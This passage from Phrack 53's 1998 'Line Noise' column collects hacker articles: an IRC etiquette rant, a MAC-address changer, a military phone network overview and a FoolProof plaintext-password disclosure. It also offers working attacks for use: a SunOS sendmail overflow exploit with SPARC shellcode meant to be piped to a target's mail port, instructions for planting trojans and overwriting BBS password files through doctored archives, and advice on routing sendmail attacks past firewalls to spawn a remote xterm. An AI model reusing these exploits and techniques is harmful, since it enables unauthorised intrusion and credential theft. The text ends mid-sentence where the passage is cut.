---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 03 of 15 -------------------------[ P H R A C K 5 3 L I N E N O I S E --------[ Various 0x1>------------------------------------------------------------------------- On not being a moron in public - nihilis (In response to why cantor kick-banned someone off of #Phrack without warning: you were an idiot near me i hate that) I wouldn't think normally that this is an article which needs to be written. But as experience has shown, it may very well be. Several months ago I was on the IRC EFnet's channel #phrack and one of the users spouted a URL for a web page he and his cohorts had hacked. On it he had kindly sent salutations to everyone he knew and to Phrack. We, the other occupants of the channel all admitted that none of us spoke authoritatively in the magazine's behalf, but that we were confident that none of the editorial staff would appreciate being implicated in a felony by association. The user didn't seem to understand. The next day, when the user was asked to join some of the authorities at the local station-house for a short interview, I'm sure he wet his pants. The line of questioning was short: it merely established that he had not been the culprit in further attacks on the same host. The police released him uncharged. In discussions with him later on #Phrack, we weren't surprised to find that he had been apprehended. As things played out, the user clearly felt no crime had been committed: All he did was change a web page. He adamantly protested that he didn't do any damage, he didn't put in any backdoors, he didn't know that root's .rhosts contained four simple bytes: "+ +\n". Clearly this user didn't look very hard in what were apparently his several weeks of attempting to hack the site. Interestingly enough, I haven't seen this user on IRC since about a week after the episode. There are several morals to this story: Hacking is a felony. Any unauthorized access constitutes hacking. If you do hack something, don't be a moron about it. It's likely always been this way, but it's only been more recently I've been paying attention, I suspect: The advent of information availability and a rise in the number people for whom the net has always been "the norm" is producing a class of users who cannot think for themselves. As reliance upon scripted attacks increases, the number of people who personally possess technical knowledge decreases. Today I was lurking and watching the activity on #Phrack while tending to issues at work. The two largest discussions which come to mind are that SYN flooding cannot be prevented, even using the newest Linux kernel; and what 0x0D means and that, yes, it is interchangeable for 13 in a C program. For the latter, the opposing point of view was presented by "an experienced C programmer." This was actually a civil conversation. People in-the-know were actually a little more crude than necessary, and the groups in need of reeducation admitted faults without needing four reference sources and three IETF standards quoted. It was a good day. People these days seem generally unwilling to concede that someone else on the Internet has done their homework, has studied the standards, and has an advantage. They consider themselves experienced because they got an unpatched Windows NT to bring up the Blue Screen Of Death remotely using a program published four months ago. They hack web pages and put their names on it. They seem unwilling to read the code given to them to establish exactly what happens when the newest 0-day exploit runs. They do not find the holes. They seem generally more interested in fucking someone over (unaware of potential consequences) than in really solving any sort of technical problem. It's all a race, it's all a game, it's all a matter of who has the newest tools. I'm writing this now because I'm sick of that. I'm sick of people who think they're smart and are intent on making sure I know it by putting their feet in their mouths. I'm sick of people who persistently ignore advice given to them and get angry when the consequences happen. I'm sick of people who cannot contribute intelligently to a conversation. So here are some tips for the future: You're a lot more impressive if you say something right than if you say something wrong. Someone nearby may be able to verify your claim and may call you on it. You're a lot more impressive if you can do something effortlessly because you've done it before than if you bumble and stumble through an experience because you thought you could do it and were wrong. If you're caught in a lie, admit it. The people who caught you already know more than you do: If you continue to spout bullshit, they'll know that too. But do your homework. Don't let them catch you being an idiot twice. If you do something illegal, don't broadcast it. This is especially stupid. Chances are, someone will be looking for someone to blame soon. By announcing that you're responsible, you're inviting them to contact you. 0x2>------------------------------------------------------------------------- Portable BBS Hacking Extra tips for Amiga BBS systems ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ After reading Khelbin's article from Phrack 50 (article 03), it reminded me of the similar tricks I had learnt for Amiga BBS systems. So I decided to write a small article covering the Amiga specific things. As with Khelbin's article, the actual BBS software isn't particularly important since they mostly all work the same way in the respect of archivers. This trick can also be used on other users, but I'll cover that later in the article. Firstly, the Amiga supports patching. This means you can set up paths which point to the directories where your commands are held. The Amiga OS also automatically sets a path to the current directory. As far as I know, you can't stop it doing this, but you don't need to anyway, if you're smart. This firstly problem, relating to the patching of the current directory is more common than you might expect, since it's such a simple thing to overlook. What happens is this: The BBS receives a new file from you, and unarchives it to a temporary dir for whatever reason. It virus checks the files (or whatever) then it attempt to recompress the files. But, if your file contained an executable named the same as the BBS's archiver, it would call the one you uploaded, since the BBS would've CDed to the temp dir to rearchive the files. As you can imagine, you can use this to activate all sorts of trojans and viruses, as long as the virus checker doesn't recognize them. A good idea is to make sure your trojan calls the proper command as well, so the sysop doesn't notice immediately. The more observant sysops will have circumvented this problem by calling the archive with an absolute path, and/or using another method to rearchive the files, without having to CD into the temp dir. The second trick is very similar to Khelbin's method of hex-editing archives. The only difference is, on the Amiga, the backslash and slash are swapped. For example, you create a file containing a new password file for the BBS in question. > makedir temp/BBSData > copy MyBBSPasswords.dat temp/BBSData/userdata > lha -r a SomeFiles.lha temp For the makedir, make the "temp" dir name to be however long it needs to be when you overwrite the characters of it in the hex-editor. In this case, we need 4. Now, load the archive into a hex editor like FileMaster and find the string: "temp\BBSData\userdata" and change it to whatever you need, for example: "\\\\BBSData\userdata" which will unarchive 4 levels back from his temporary directory into the real BBSData dir. The only problem with this is that you need to know a little about the BBS's directory structure. But, if you intend to hack it, you should probably know that much anyway. You'll notice that within the archive, the slash and backslash are swapped. This is important to remember, since using the wrong one will mean your archive will fail to extract correctly. The article about this from Phrack 50 was for PCs, which use backslash for directory operations. The Amiga uses slash instead, but apart from that, the methods used in that article will work fine for Amiga archives. If you know the Sysop of the BBS has a program like UnixDirs installed, you can even use the ".." to get to the root dir. The only other way to do that is to use a ":", however, I am not sure if this works. I have a feeling LhA would barf. Luckily, since the Amiga isn't limited by 8.3 filename problems, you can traverse directories much easier than with the limit imposed on PC systems. The only real way the Sysop can fix this problem is by have his temp dir for unarchiving to be a device which has nothing important on it, like RAM:. That way, if the archive is extracted to RAM: and tries to step back 3 directories using "///", it'll still be in RAM: and won't screw with anything important. 0x3>------------------------------------------------------------------------- <++> EX/changemac.c /* * In P51-02 someone mentioned Ethernet spoofing. Here you go. * This tiny program can be used to trick some smart / switching hubs. * * AWL production: (General Public License v2) * * changemac version 1.0 (2.20.1998) * * changemac -- change MAC address of your ethernet card. * * changemac [-l] | [-d number ] [ -r | -a address ] * * -d number number of ethernet device, 0 for eth0, 1 for eth1 ... * if -d option is not specify default value is 0 (eth0) * * -h help for changemac command * * -a address address format is xx:xx:xx:xx:xx:xx * * -r set random MAC address for ethernet card * * -l list first three MAC bytes of known ethernet vendors * (this list is not compleet, anyone who know some more * information about MAC addresses can mail me) * * changemac does not change hardware address, it just change data in * structure of kernel driver for your card. Next boot on your computer will * read real MAC form your hardware. * * The changed MAC stays as long as your box is running, (or as long as next * successful changemac). * * It will not work if kernel is already using that ethernet device. In that * case you have to turn off that device (ifconfig eth0 down). * * I use changemac in /etc/rc.d/rc.inet1 (slackware, or redhat) just line * before ifconfig for ethernet device (/sbin/ifconfig eth0 ...) * * The author will be very pleased if you can learn something form this code. * * Updates of this code can be found on: * http://galeb.etf.bg.ac.yu/~azdaja/changemac.html * * Sugestions and comments can be sent to author: * Milos Prodanovic */ #include #include #include #include #include #include #include #include struct LIST { char name[50]; u_char mac[3]; }; /* * This list was obtainted from vyncke@csl.sni.be, created on 01.7.93. */ struct LIST vendors[] = { {"OS/9 Network ",'\x00','\x00','\x00'}, {"BBN ",'\x00','\x00','\x02'}, {"Cisco ",'\x00','\x00','\x0C'}, {"Fujitsu ",'\x00','\x00','\x0E'}, {"NeXT ",'\x00','\x00','\x0F'}, {"Sytek/Hughes LAN Systems ",'\x00','\x00','\x10'}, {"Tektronics ",'\x00','\x00','\x11'}, {"Datapoint ",'\x00','\x00','\x15'}, {"Webster ",'\x00','\x00','\x18'}, {"AMD ? ",'\x00','\x00','\x1A'}, {"Novell/Eagle Technology ",'\x00','\x00','\x1B'}, {"Cabletron ",'\x00','\x00','\x1D'}, {"Data Industrier AB ",'\x00','\x00','\x20'}, {"SC&C ",'\x00','\x00','\x21'}, {"Visual Technology ",'\x00','\x00','\x22'}, {"ABB ",'\x00','\x00','\x23'}, {"IMC ",'\x00','\x00','\x29'}, {"TRW ",'\x00','\x00','\x2A'}, {"Auspex ",'\x00','\x00','\x3C'}, {"ATT ",'\x00','\x00','\x3D'}, {"Castelle ",'\x00','\x00','\x44'}, {"Bunker Ramo ",'\x00','\x00','\x46'}, {"Apricot ",'\x00','\x00','\x49'}, {"APT ",'\x00','\x00','\x4B'}, {"Logicraft ",'\x00','\x00','\x4F'}, {"Hob Electronic ",'\x00','\x00','\x51'}, {"ODS ",'\x00','\x00','\x52'}, {"AT&T ",'\x00','\x00','\x55'}, {"SK/Xerox ",'\x00','\x00','\x5A'}, {"RCE ",'\x00','\x00','\x5D'}, {"IANA ",'\x00','\x00','\x5E'}, {"Gateway ",'\x00','\x00','\x61'}, {"Honeywell ",'\x00','\x00','\x62'}, {"Network General ",'\x00','\x00','\x65'}, {"Silicon Graphics ",'\x00','\x00','\x69'}, {"MIPS ",'\x00','\x00','\x6B'}, {"Madge ",'\x00','\x00','\x6F'}, {"Artisoft ",'\x00','\x00','\x6E'}, {"MIPS/Interphase ",'\x00','\x00','\x77'}, {"Labtam ",'\x00','\x00','\x78'}, {"Ardent ",'\x00','\x00','\x7A'}, {"Research Machines ",'\x00','\x00','\x7B'}, {"Cray Research/Harris ",'\x00','\x00','\x7D'}, {"Linotronic ",'\x00','\x00','\x7F'}, {"Dowty Network Services ",'\x00','\x00','\x80'}, {"Synoptics ",'\x00','\x00','\x81'}, {"Aquila ",'\x00','\x00','\x84'}, {"Gateway ",'\x00','\x00','\x86'}, {"Cayman Systems ",'\x00','\x00','\x89'}, {"Datahouse Information Systems ",'\x00','\x00','\x8A'}, {"Jupiter ? Solbourne ",'\x00','\x00','\x8E'}, {"Proteon ",'\x00','\x00','\x93'}, {"Asante ",'\x00','\x00','\x94'}, {"Sony/Tektronics ",'\x00','\x00','\x95'}, {"Epoch ",'\x00','\x00','\x97'}, {"CrossCom ",'\x00','\x00','\x98'}, {"Ameristar Technology ",'\x00','\x00','\x9F'}, {"Sanyo Electronics ",'\x00','\x00','\xA0'}, {"Wellfleet ",'\x00','\x00','\xA2'}, {"NAT ",'\x00','\x00','\xA3'}, {"Acorn ",'\x00','\x00','\xA4'}, {"Compatible Systems Corporation ",'\x00','\x00','\xA5'}, {"Network General ",'\x00','\x00','\xA6'}, {"NCD ",'\x00','\x00','\xA7'}, {"Stratus ",'\x00','\x00','\xA8'}, {"Network Systems ",'\x00','\x00','\xA9'}, {"Xerox ",'\x00','\x00','\xAA'}, {"Western Digital/SMC ",'\x00','\x00','\xC0'}, {"Eon Systems (HP) ",'\x00','\x00','\xC6'}, {"Altos ",'\x00','\x00','\xC8'}, {"Emulex ",'\x00','\x00','\xC9'}, {"Darthmouth College ",'\x00','\x00','\xD7'}, {"3Com ? Novell ? [PS/2] ",'\x00','\x00','\xD8'}, {"Gould ",'\x00','\x00','\xDD'}, {"Unigraph ",'\x00','\x00','\xDE'}, {"Acer Counterpoint ",'\x00','\x00','\xE2'}, {"Atlantec ",'\x00','\x00','\xEF'}, {"High Level Hardware (Orion, UK) ",'\x00','\x00','\xFD'}, {"BBN ",'\x00','\x01','\x02'}, {"Kabel ",'\x00','\x17','\x00'}, {"Xylogics, Inc.-Annex terminal servers",'\x00','\x08','\x2D'}, {"Frontier Software Development ",'\x00','\x08','\x8C'}, {"Intel ",'\x00','\xAA','\x00'}, {"Ungermann-Bass ",'\x00','\xDD','\x00'}, {"Ungermann-Bass ",'\x00','\xDD','\x01'}, {"MICOM/Interlan [Unibus, Qbus, Apollo]",'\x02','\x07','\x01'}, {"Satelcom MegaPac ",'\x02','\x60','\x86'}, {"3Com [IBM PC, Imagen, Valid, Cisco] ",'\x02','\x60','\x8C'}, {"CMC [Masscomp, SGI, Prime EXL] ",'\x02','\xCF','\x1F'}, {"3Com (ex Bridge) ",'\x08','\x00','\x02'}, {"Symbolics ",'\x08','\x00','\x05'}, {"Siemens Nixdorf ",'\x08','\x00','\x06'}, {"Apple ",'\x08','\x00','\x07'}, {"HP ",'\x08','\x00','\x09'}, {"Nestar Systems ",'\x08','\x00','\x0A'}, {"Unisys ",'\x08','\x00','\x0B'}, {"AT&T ",'\x08','\x00','\x10'}, {"Tektronics ",'\x08','\x00','\x11'}, {"Excelan ",'\x08','\x00','\x14'}, {"NSC ",'\x08','\x00','\x17'}, {"Data General ",'\x08','\x00','\x1A'}, {"Data General ",'\x08','\x00','\x1B'}, {"Apollo ",'\x08','\x00','\x1E'}, {"Sun ",'\x08','\x00','\x20'}, {"Norsk Data ",'\x08','\x00','\x26'}, {"DEC ",'\x08','\x00','\x2B'}, {"Bull ",'\x08','\x00','\x38'}, {"Spider ",'\x08','\x00','\x39'}, {"Sony ",'\x08','\x00','\x46'}, {"BICC ",'\x08','\x00','\x4E'}, {"IBM ",'\x08','\x00','\x5A'}, {"Silicon Graphics ",'\x08','\x00','\x69'}, {"Excelan ",'\x08','\x00','\x6E'}, {"Vitalink ",'\x08','\x00','\x7C'}, {"XIOS ",'\x08','\x00','\x80'}, {"Imagen ",'\x80','\x00','\x86'}, {"Xyplex ",'\x80','\x00','\x87'}, {"Kinetics ",'\x80','\x00','\x89'}, {"Pyramid ",'\x80','\x00','\x8B'}, {"Retix ",'\x80','\x00','\x90'}, {'\x0','\x0','\x0','\x0'} }; void change_MAC(u_char *,int); void list(); void random_mac(u_char *); void help(); void addr_scan(char *,u_char *); int main(int argc, char ** argv) { char c; u_char mac[6] = "\0\0\0\0\0\0"; int nr = 0,eth_num = 0,nr2 = 0; extern char *optarg; if (argc == 1) { printf("for help: changemac -h\n"); exit(1); } while ((c = getopt(argc, argv, "-la:rd:")) != EOF) { switch(c) { case 'l' : list(); exit(1); case 'r' : nr++; random_mac(mac); break; case 'a' : nr++; addr_scan(optarg,mac); break; case 'd' : nr2++; eth_num = atoi(optarg); break; default: help(); exit(1); } if (nr2 > 1 || nr > 1) { printf("too many options\n"); exit(1); } } change_MAC(mac,eth_num); return (0); } void change_MAC(u_char *p, int ether) { struct ifreq devea; int s, i; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); exit(1); } sprintf(devea.ifr_name, "eth%d", ether); if (ioctl(s, SIOCGIFHWADDR, &devea) < 0) { perror(devea.ifr_name); exit(1); } printf("Current MAC is\t"); for (i = 0; i < 6; i++) { printf("%2.2x ", i[devea.ifr_hwaddr.sa_data] & 0xff); } printf("\n"); /* an ANSI C ?? --> just testing your compiler */ for(i = 0; i < 6; i++) i[devea.ifr_hwaddr.sa_data] = i[p]; printf("Changing MAC to\t"); /* right here i am showing how interesting is programing in C */ printf("%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x\n", 0[p], 1[p], 2[p], 3[p], 4[p], 5[p]); if (ioctl(s,SIOCSIFHWADDR,&devea) < 0) { printf("Unable to change MAC -- Is eth%d device is up?\n", ether); perror(devea.ifr_name); exit(1); } printf("MAC changed\n"); /* just to be sure ... */ if (ioctl(s, SIOCGIFHWADDR, &devea) < 0) { perror(devea.ifr_name); exit(1); } printf("Current MAC is: "); for (i = 0; i < 6; i++) printf("%X ", i[devea.ifr_hwaddr.sa_data] & 0xff); printf("\n"); close(s); } void list() { int i = 0; struct LIST *ptr; printf("\nNumber\t MAC addr \t vendor\n"); while (0[i[vendors].name]) { ptr = vendors + i; printf("%d\t=> %2.2x:%2.2x:%2.2x \t%s \n", i++, 0[ptr->mac], 1[ptr->mac], 2[ptr->mac], ptr->name); if (!(i % 15)) { printf("\n press enter to continue\n"); getchar(); } } } void random_mac(u_char *p) { srandom(getpid()); 0[p] = random() % 256; 1[p] = random() % 256; 2[p] = random() % 256; 3[p] = random() % 256; 4[p] = random() % 256; 5[p] = random() % 256; } void addr_scan(char *arg, u_char *mac) { int i; if (!(2[arg] == ':' && 5[arg] == ':' && 8[arg] == ':' && 11[arg] == ':' && 14[arg] == ':' && strlen(arg) == 17 )) { printf("address is not in spacified format\n"); exit(0); } for(i = 0; i < 6; i++) i[mac] = (char)(strtoul(arg + i*3, 0, 16) & 0xff); } void help() { printf(" changemac - soft change MAC address of your ethernet card \n"); printf(" changemac -l | [-d number ] [ -r | -a address ] \n"); printf(" before you try to use it just turn ethernet card off, ifconfig ethX down\n"); printf(" -d number number of ethernet device \n"); printf(" -h this help \n"); printf(" -a address address format is xx:xx:xx:xx:xx:xx \n"); printf(" -r set random generated address \n"); printf(" -l list first three MAC bytes of known ethernet vendors\n"); printf(" example: changemac -d 1 -a 12:34:56:78:9a:bc\n"); } /* EOF */ <--> 0x4>------------------------------------------------------------------------- The Defense Switched Network By: DataStorm This is an extremely shortened tutorial on the DSN. More information is available through the DoD themselves and various places on the Internet. If you have any comments or suggestions, feel free to e-mail me. ***THE BASICS OF THE DSN*** Despite popular belief, the AUTOVON is gone, and a new DCS communication standard is in place, the DSN, or Defense Switched Network. The DSN is used for the communication of data and voice between various DoD installations in six world theaters: Canada, the Caribbean, the Continental United States (CONUS), Europe, the Pacific and Alaska, and Southwest Asia. The DSN is used for everything from video-teleconferencing, secure and insecure data and voice, and any other form of communication that can be transmitted over wiring. It is made up of the old AUTOVON system, the European telephone system, the Japanese and Korean telephone upgrades, the Oahu system, the DCTN, the DRSN, the Video Teleconferencing Network, and more. This makes the DSN incredibly large, which in turn makes it very useful. (See the section TRICKS in this article for more information.) The DSN is extremely isolated. It is designed to function even when outside communication lines have been destroyed and is not dependent on any outside equipment. It uses its own switching equipment, lines, phones, and other components. It has very little link to the outside world, since in a bombing/war, civilian telephone may be destroyed. This aspect, of course, also means that all regulation of the DSN is done by the government itself. When you enter the DSN network, you are messing with the big boys. To place a call to someone in the DSN, you must first dial the DSN access number, which lets you into the network itself. From there you can dial any number within the DSN, as long as it is not restricted from your calling area or hone. (Numbers both inside and outside the DSN can be restricted from calling certain numbers). If you are part of the DSN, you may periodically get a call from an operator, wanting to connect you with another person in or out of the network. To accept, you must tell her your name and local base telephone extension, your precedence, and any other information the operator feels she must have from you at that time. (I'm not sure of the operators abilities or technologies. They may have ANI in all or some areas.) The DSN uses signaling techniques similar to Bell, with a few differences. The dial tone is the same on both networks; the network is open and ready. When you call or are being called, a DSN phone will ring just like a Bell phone, with one difference. If the phone rings at a fairly normal rate, the call is of average precedence, or "Routine." If the ringing is fast, it is of higher precedence and importance. A busy signal indicates that the line is either busy, or DSN equipment is busy. Occasionally you may hear a tone called the "preempt" tone, which indicates that your call was booted off because one of higher precedence needed the line you were connected with. If you pick up the phone and hear an odd fluctuating tone, this means that a conference call is being conducted and you are to be included. As on many other large networks, the DSN uses different user classes to distinguish who is better than who, who gets precedence and more calls and who does not. The most powerful user class is the "Special C2" user. This fortunate military employee (or hacker?) has virtually unrestricted access to the system. The Special C2 user identifies himself as that through a validation process. The next class of user is the regular "C2" user. To qualify, you must have the requirements for C2 communications, but do not have to meet the requirements for the Special C2 user advantages. (These are users who coordinate military operations, forces, and important orders.) The last type of user is insensitively called the "Other User." This user has no need for Specail C2 or C2 communications, so he is not given them. A good comparison would be "root" for Special C2, "bin" for C2, and "guest" for other. The network is fairly secure and technologically advanced. Secure voice is encrypted with the STU-III. This is the third generation in a line of devices used to make encrypted voice, which is NOT considered data over the DSN. Networking through the DSN is done with regular IP version 4, unless classified, in which case Secret IP Routing Network(SIPRNET) protocol is used. Teleconferencing can be set up by the installation operator, and video teleconferencing is a common occurrence. The DSN is better than the old AUTOVON system in speed and quality, which allows it to take more advantage of these technologies. I'm sure that as we progress into faster transmission rates and higher technology, we will begin to see the DSN use more and more of what we see the good guys using on television. Precedence on the DSN fits the standard NCS requirements, so I will not talk about it in great detail in this article. All I think I have to clear up is that DSN phones do NOT use A, B, C, and D buttons as the phones in the AUTOVON did for precedence. Precedence is done completely with standard DTMF for efficiency. A DSN telephone directory is not distributed to the outside, mainly because of the cost and lack of interest. However, I have listed the NPA's for the different theaters. Notice that the DSN only covers major ally areas. You won't be able to connect to Russia with this system, sorry. Keep in mind that each base has their own operator, who for the intra-DSN circuit, is reachable by dialing "0." Here is a word of advice: there ARE people who sit around all day and monitor these lines. Further, you can be assured these are specialized teams that work special projects at the echelons above reality. This means that if you do something dumb on the DSN from a location they can trace back to you, you WILL be imprisoned. AREA DSN NPA Canada 312 CONUS 312 Caribbean 313 Europe 314 Pacific/Alaska 315/317 S.W. Asia 318 The format for a DSN number is NPA-XXX-YYYY, where XXX is the installation prefix (each installation has at least one of their own) and YYYY is the unique number assigned to each internal pair, which eventually leads to a phone. I'm not even going to bother with a list of numbers; there are just too many. Check http://www.tfs.net/~havok (my home page) for the official DSN directory and more information. DSN physical equipment is maintained and operated by a team of military specialists designed specifically for this task, (you won't see many Bell trucks around DSN areas). Through even my deepest research, I was unable to find any technical specifications on the hardware of the actual switch, although I suppose they run a commercial brand such as ESS 5. My resources were obscure in this area, to say the least. ***TRICKS*** Just like any other system in existence, the DSN has security holes and toys we all can have fun with. Here are a few. (If you find any more, drop me an e-mail.) * Operators are located on different pairs in each base; one can never tell before dialing exactly who is behind the other line. My best luck has been with XXX-0110 and XXX-0000. * To get their number in the DSN directory, DoD installations write to: HQ DISA, Code D322 11440 Isaac Newton Square Reston, VA 20190-5006 * Another interesting address: It seems that GTE Government Systems Corporation Information Systems Division 15000 Conference Center Drive Chantilly, VA 22021-3808 has quite a bit of involvement with the DSN and its documentation projects. ***IN CONCLUSION*** As the DSN grows, so does my fascination with the system. Watch for more articles about it. I would like to say a BIG thanks to someone who wishes to remain unknown, a special english teacher, and the DoD for making their information easy to get a hold of. 0x5>------------------------------------------------------------------------- Howdy, I have found a weakness in the password implementations of FoolProof. FoolProof is a software package used to secure workstations and LAN client machines from DoS and other lame-ass attacks by protecting system files (autoexec.bat, config.sys, system registry) and blocking access to specified commands and control panels. FoolProof was written by Smart Stuff software originally for the Macintosh but recently released for win3.x and win95. All my information pertains directly to versions 3.0 and 3.3 of both the 3.x and 95 versions but should be good for all early versions if they exist. I have spent some time playing with it. It is capable of modifying the boot sequence on win3.x machines to block the use of hot keys and prevent users from breaking out of autoexec. It also modifies the behavior of command.com so that commands can be verified by a database and anything deemed unnecessary or potentially malicious can be blocked (fdisk, format, dosshell?, dir, erase, del. defrag, chkdsk, defrag, undelete, debug, etc.). Its windows clients provide for a way to log into/out of FoolProof for privileged access by using a password or hot key assignment. The newer installation of 95 machines have a centralized configuration database that lives on our NetWare server. My first success with breaking FoolProof passwords came by using a hex editor to scan the windows swap file for anything that might be of interested. In the swap file I found the password in plain text. I was surprised but thought that it was something that would be simply unavoidable and unpredictable. Later though I used a memory editor on the machine (95 loves it when I do that) and found that FoolProof stores a copy of the user password IN PLAIN TEXT inside its TSR's memory space. To find a FoolProof password, simply search through conventional memory for the string "FOOLPROO" (I don't know what they did with that last "F") and the next 128 bytes or so should contain two plaintext passwords followed by the hot-key assignment. For some reason FoolProof keeps two passwords on the machine, the present one and a 'legacy' password (the one you used before you _thought_ it was changed). There exist a few memory viewers/editors but it isn't much effort to write something. Getting to a point where you can execute something can be difficult but isn't impossible. I found that it is more difficult to do this on the win3.x machines because FoolProof isn't compromised by the operating system it sits on top of; basically getting a dos prompt is up to you (try file manager if you can). 95 is easier because it is very simple to convince 95 that it should start up into Safe-Mode and then creating a shortcut in the StartUp group to your editor and then rebooting the machine (FoolProof doesn't get a chance to load in safe mode). I tried to talk to someone at SmartStuff but they don't seem to care what trouble their simple minded users might get into. They told me I must be wrong because they use 128 bit encryption on the disk. Apparently they don't even know how their own software works because the utility they provide to recover lost passwords requires some 32+ character master password that is hardwired into each installation. JohnWayne 0x6>------------------------------------------------------------------------- [ old skool dept. ] <++> EX/smrex.c /* * Overflow for Sunos 4.1 sendmail - execs /usr/etc/rpc.rexd. * If you don't know what to do from there, kill yourself. * Remote stack pointer is guessed, the offset from it to the code is 188. * * Use: smrex buffersize padding |nc hostname 25 * * where `padding` is a small integer, 1 works on my sparc 1+ * * I use smrex 84 1, play with the numbers and see what happens. The core * gets dumped in /var/spool/mqueue if you fuck up, fire up adb, hit $r and * see where your offsets went wrong :) * * I don't *think* this is the 8lgm syslog() overflow - see how many versions * of sendmail this has carried over into and let me know. Or don't, I * wouldn't :) * * P.S. I'm *sure* there are cleverer ways of doing this overflow. So sue * me, I'm new to this overflow business..in my day everyone ran YPSERV and * things were far simpler... :) * * The Army of the Twelve Monkeys in '98 - still free, still kicking arse. */ #include int main(int argc, char **argv) { long unsigned int large_string[10000]; int i, prelude; unsigned long offset; char padding[50]; offset = 188; /* Magic numbers */ prelude = atoi(argv[1]); if (argc < 2) { printf("Usage: %s bufsize | nc target 25\n", argv[0]); exit(1); } for (i = 6; i < (6 + atoi(argv[2])); i++) { strcat(padding, "A"); } for(i = 0; i < prelude; i++) { large_string[i] = 0xfffffff0; /* Illegal instruction */ } large_string[prelude] = 0xf7ffef50; /* Arbitrary overwrite of %fp */ large_string[prelude + 1] = 0xf7fff00c; /* Works for me; address of code */ for( i = (prelude + 2); i < (prelude + 64); i++) { large_string[i] = 0xa61cc013; /* Lots of sparc NOP's */ } /* Now the sparc execve /usr/etc/rpc.rexd code.. */ large_string[prelude + 64] = 0x250bcbc8; large_string[prelude + 65] = 0xa414af75; large_string[prelude + 66] = 0x271cdc88; large_string[prelude + 67] = 0xa614ef65; large_string[prelude + 68] = 0x291d18c8; large_string[prelude + 69] = 0xa8152f72; large_string[prelude + 70] = 0x2b1c18c8; large_string[prelude + 71] = 0xaa156e72; large_string[prelude + 72] = 0x2d195e19; large_string[prelude + 73] = 0x900b800e; large_string[prelude + 74] = 0x9203a014; large_string[prelude + 75] = 0x941ac00b; large_string[prelude + 76] = 0x9c03a104; large_string[prelude + 77] = 0xe43bbefc; large_string[prelude + 78] = 0xe83bbf04; large_string[prelude + 79] = 0xec23bf0c; large_string[prelude + 80] = 0xdc23bf10; large_string[prelude + 81] = 0xc023bf14; large_string[prelude + 82] = 0x8210203b; large_string[prelude + 83] = 0xaa103fff; large_string[prelude + 84] = 0x91d56001; large_string[prelude + 85] = 0xa61cc013; large_string[prelude + 86] = 0xa61cc013; large_string[prelude + 87] = 0xa61cc013; large_string[prelude + 88] = 0; /* And finally, the overflow..simple, huh? :) */ printf("helo\n"); printf("mail from: %s%s\n", padding, large_string); } <--> 0x7>------------------------------------------------------------------------- Practical Sendmail Routing Intro: This article will be short and sweet as the concept and methodology are quite simple. UUCP Style routing has been around longer than most newbie hackers, yet it is a foreign concept to them. In past years, Phrack has seen at least one article on using this method to route a piece of mail around the world and back to the base host. That article in Phrack 41 (Network Miscellany) by the Racketeer gave us a good outline as how to implement routed mail. I will recap that method and show a practical use for it. If you have any questions on the method for building the mail headers, read a book on UUCP or something. How to: In short, you want to create a custom route for a piece of email to follow. This single piece of mail will follow your desired path and go through machines of your choice. Even with mail relaying turned off, MTAs will still past this mail as it looks at the mail and delivers only one hope at a time. The customized headers basically tell sendmail that it should only be concerned about the next target in the path, and to deliver. In our example below, we will have nine systems to be concerned about. Your base host, seven systems to bounce through, and the user on the final destination machine. host1 = origin of mail. base host to send from. host2 = second... host3 = third... (etc) host4 host5 host6 host7 host8 = final hop in our chain (i.e.: second to last) user @ dest = final resting place for mail Most people will wonder "why route mail, sendmail will deliver directly". Consider the first step in doing a penetration of a foreign network: Recon. A would-be attacker needs as much information about a remote host as possible. Have you ever sent mail to a remote system with the intention of bouncing it? If not, try it. You will find it a quick and easy way of finding out what version of what MTA the host is running. Knowing that the message will bounce with that information, think larger. Send mail to multiple hosts on a subnet and it will return the version information for each machine it bounces through. Think larger. Firewalls are often set up to allow mail to go in and out without a problem. So route your mail past the firewall, bounce it among several internal systems, then route the mail right back out the front door. You are left with a single piece of mail containing information on each system it bounced through. Right off, you can start to assess if the machines are running Unix or not among other things. So, with the example above, your mail 'to' will look like this: host3!host4!host5!host6!host7!host8!dest!user@host2 I know. Very weird as far as the order and placement of each. If you don't think it looks right, go reference it. Goal: The desired outcome of this mail is to return with as much information about the remote network as possible. There are a few things to be wary of however. If the mail hits a system that doesn't know how to handle it, you may never see it again. Routing the mail through a hundred hosts behind a firewall is risky in that it may take a while to go through, and if it encounters problems you may not get word back to know where it messed up. What I recommend is sending one piece of mail per host on the subnet. This can be scripted out fairly easy, so let this be a lesson in scripting as well. Theoretical Route 1: you --. firewall --. internal host1 --. | internal host2 --' firewall --' you --' Theoretical Route 2: If the internal network is on a different IP scheme than the external machines, (ie: address translation) then your mail will fail at the first hop by the above means. So, we can try an alternative of passing mail to both sides of the firewall in order. Of course, this would rely on knowledge of internal network numbering. If you are wondering how to get this, two ways come to mind. If you are one of those wacky 'white hat' ethical hackers, this information is often given during a controlled penetration. If you are a malicious 'black hat' evil hacker, then trashing or Social Engineering might be an option. you --. firewall (external interface) --. firewall (internal interface) --. | .-- internal host1 --' | `-- internal host2 --. | firewall (internal interface) --' firewall (external interface) --' you --' Taking it to the next level: So if you find this works, what else can you do? Have a remote sendmail attack lying around? Can you run a command on a remote machine? Know what an xterm is? Firewalls often allow a wide variety of traffic to go outbound. So route a remote sendmail based attack to the internal host of your choice, spawn an xterm to your terminal and voila. You just bypassed a firewall! Conclusion: Yup. That is it. Short and sweet. No need to put excess words in this article as you are probably late on your hourly check of rootshell.com looking for the latest scripts. Expand your minds. Hi: mea_culpa mea_culpa@sekurity.org * "taking it to the next level" is a bastardized trademark of MC. * 'wacky white hat ethical hacker' is probably a trademark of IBM. * 'malicious black hat evil hacker' is a trademark of the ICSA. 0x8>------------------------------------------------------------------------- Resource Hacking and Windows NT/95 by Lord Byron With the release of Windows NT service pack 3 the infamous Winnuke denial of service attacks are rendered useless. At least that is what they lead you to believe. This is not the case. To understand why we need to delve into a little background on the internals of Windows; more specifcally, the way that Windows allocates memory. This is the undying problem. To better understand the problems with Windows memory allocation you have to go very deep within the operating system, to what is commonly called the "thunking layer". This layer is what allows Windows to call both 16 and 32-bit functions on the same function stack. If you make a TCP/IP-type function call or (if you are a database person) an ODBC function call you are calling a pseudo 32-bit function. Yes, both of these direct drivers are 32-bit drivers but they rely upon 16-bit code to finish their process. Once you enter one of these drivers all the data is passed into that driver. Windows 